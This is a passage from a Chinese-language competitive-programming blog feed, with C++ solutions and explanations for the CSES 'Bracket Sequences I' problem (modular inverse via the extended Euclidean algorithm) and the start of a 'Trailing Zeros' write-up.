style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span>。<br>(因為輾轉相除法會一直做到整除，也就是最後一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">r=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>為止)</p><p>以下程式：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>tuple<span class="token operator">&lt;</span>ll<span class="token punctuation">,</span> ll<span class="token punctuation">,</span> ll<span class="token operator">></span> <span class="token function">exgcd</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll b<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>b<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>a<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x1<span class="token punctuation">,</span> y1<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> a<span class="token operator">%</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>  ll x <span class="token operator">=</span> y1<span class="token punctuation">;</span>  ll y <span class="token operator">=</span> x1 <span class="token operator">-</span> <span class="token punctuation">(</span>a<span class="token operator">/</span>b<span class="token punctuation">)</span><span class="token operator">*</span>y1<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>好，但這跟我們求模反元素有什麼關係呢？請看以下：<br>因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>M</mi></mrow><annotation encoding="application/x-tex">a,M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>互質，我們可以用擴展歐幾里得演算法求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">x,y\in\Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>使得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>M</mi><mi>y</mi><mo>=</mo><mn>1</mn><mo>⇒</mo><mi>a</mi><mi>x</mi><mo>=</mo><mn>1</mn><mo>−</mo><mi>M</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">ax+My=1\Rightarrow ax=1-My</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span></span></p><p>兩邊同時模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>，瞬間得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>即我們要找的模反元素。</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>gcd <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token function">invalid_argument</span><span class="token punctuation">(</span><span class="token string">"Does not exist."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a, m互質才有模反元素</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>x<span class="token operator">%</span>m <span class="token operator">+</span> m<span class="token punctuation">)</span><span class="token operator">%</span>m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>好耶！我們將以上全部組合起來，得到以下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span>tuple<span class="token operator">&lt;</span>ll<span class="token punctuation">,</span> ll<span class="token punctuation">,</span> ll<span class="token operator">></span> <span class="token function">exgcd</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll b<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>b<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>a<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x1<span class="token punctuation">,</span> y1<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span> a<span class="token operator">%</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span>  ll x <span class="token operator">=</span> y1<span class="token punctuation">;</span>  ll y <span class="token operator">=</span> x1 <span class="token operator">-</span> <span class="token punctuation">(</span>a<span class="token operator">/</span>b<span class="token punctuation">)</span><span class="token operator">*</span>y1<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">&#123;</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">auto</span> <span class="token punctuation">[</span>gcd<span class="token punctuation">,</span> x<span class="token punctuation">,</span> y<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">exgcd</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> m<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>gcd <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token function">invalid_argument</span><span class="token punctuation">(</span><span class="token string">"Does not exist."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>x<span class="token operator">%</span>m <span class="token operator">+</span> m<span class="token punctuation">)</span><span class="token operator">%</span>m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// IO加速</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>n <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>cout <span class="token operator">&lt;&lt;</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>  n <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  ll den<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 分母</span>  ll num<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token comment">// 分子</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span> den <span class="token operator">=</span> <span class="token punctuation">(</span>den<span class="token operator">*</span>i<span class="token punctuation">)</span><span class="token operator">%</span>M<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span>n<span class="token operator">+</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span><span class="token number">2</span><span class="token operator">*</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span> num <span class="token operator">=</span> <span class="token punctuation">(</span>num<span class="token operator">*</span>i<span class="token punctuation">)</span><span class="token operator">%</span>M<span class="token punctuation">;</span>  cout <span class="token operator">&lt;&lt;</span> <span class="token function">invert</span><span class="token punctuation">(</span>den<span class="token punctuation">,</span> M<span class="token punctuation">)</span><span class="token operator">*</span>num <span class="token operator">%</span> M<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>AC！收工！</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/01/CSES-Bracket-Sequences-I-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/01/CSES-Bracket-Sequences-I-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-01T11:43:04.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<li>Memory limit: 512 MB</li>
</ul>
<p>Your task is to ca]]>
    </summary>
    <title>CSES Bracket Sequences I 題解</title>
    <updated>2026-06-01T11:43:04.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Introductory Problems" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Introductory-Problems/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="factorial" scheme="https://r3xdj.pages.dev/tags/factorial/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to calculate the number of trailing zeros in the factorial n!.<br>For example, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>20</mn><mo stretchy="false">!</mo><mo>=</mo><mn>2432902008176640000</mn></mrow><annotation encoding="application/x-tex">20!=2432902008176640000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">20</span><span class="mclose">!</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2432902008176640000</span></span></span></span> and it has <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> trailing zeros.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of trailing zeros in <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>20</td><td>4</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%88%86%E6%9E%90" tabindex="-1" id="分析">分析</h2><p>這題十分經典，是要求<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>尾部有幾個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。<br>注意到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>尾部<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>的個數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>=</mo></mrow><annotation encoding="application/x-tex">=</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span></span></span></span>滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mi>k</mi></msup><mi mathvariant="normal">∣</mi><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">10^k | n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值(也就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>能被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>10</mn></mrow><annotation encoding="application/x-tex">10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>整除幾次)<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>=</mo><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">=n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次方數(因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>10</mn><mo>=</mo><mn>2</mn><mo>⋅</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">10=2\cdot 5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，而又顯然<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次數會比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>來的少)</p><p>接著，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">n!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">n</span><span class="mclose">!</span></span></span></span>的質因數分解中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的次數即為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>中每個數個別被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>整除的次數之和。<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>中，</p><ul><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>n</mi><mn>5</mn></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{n}{5}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>個</li><li>被<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>5</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">5^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>整除的數有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo 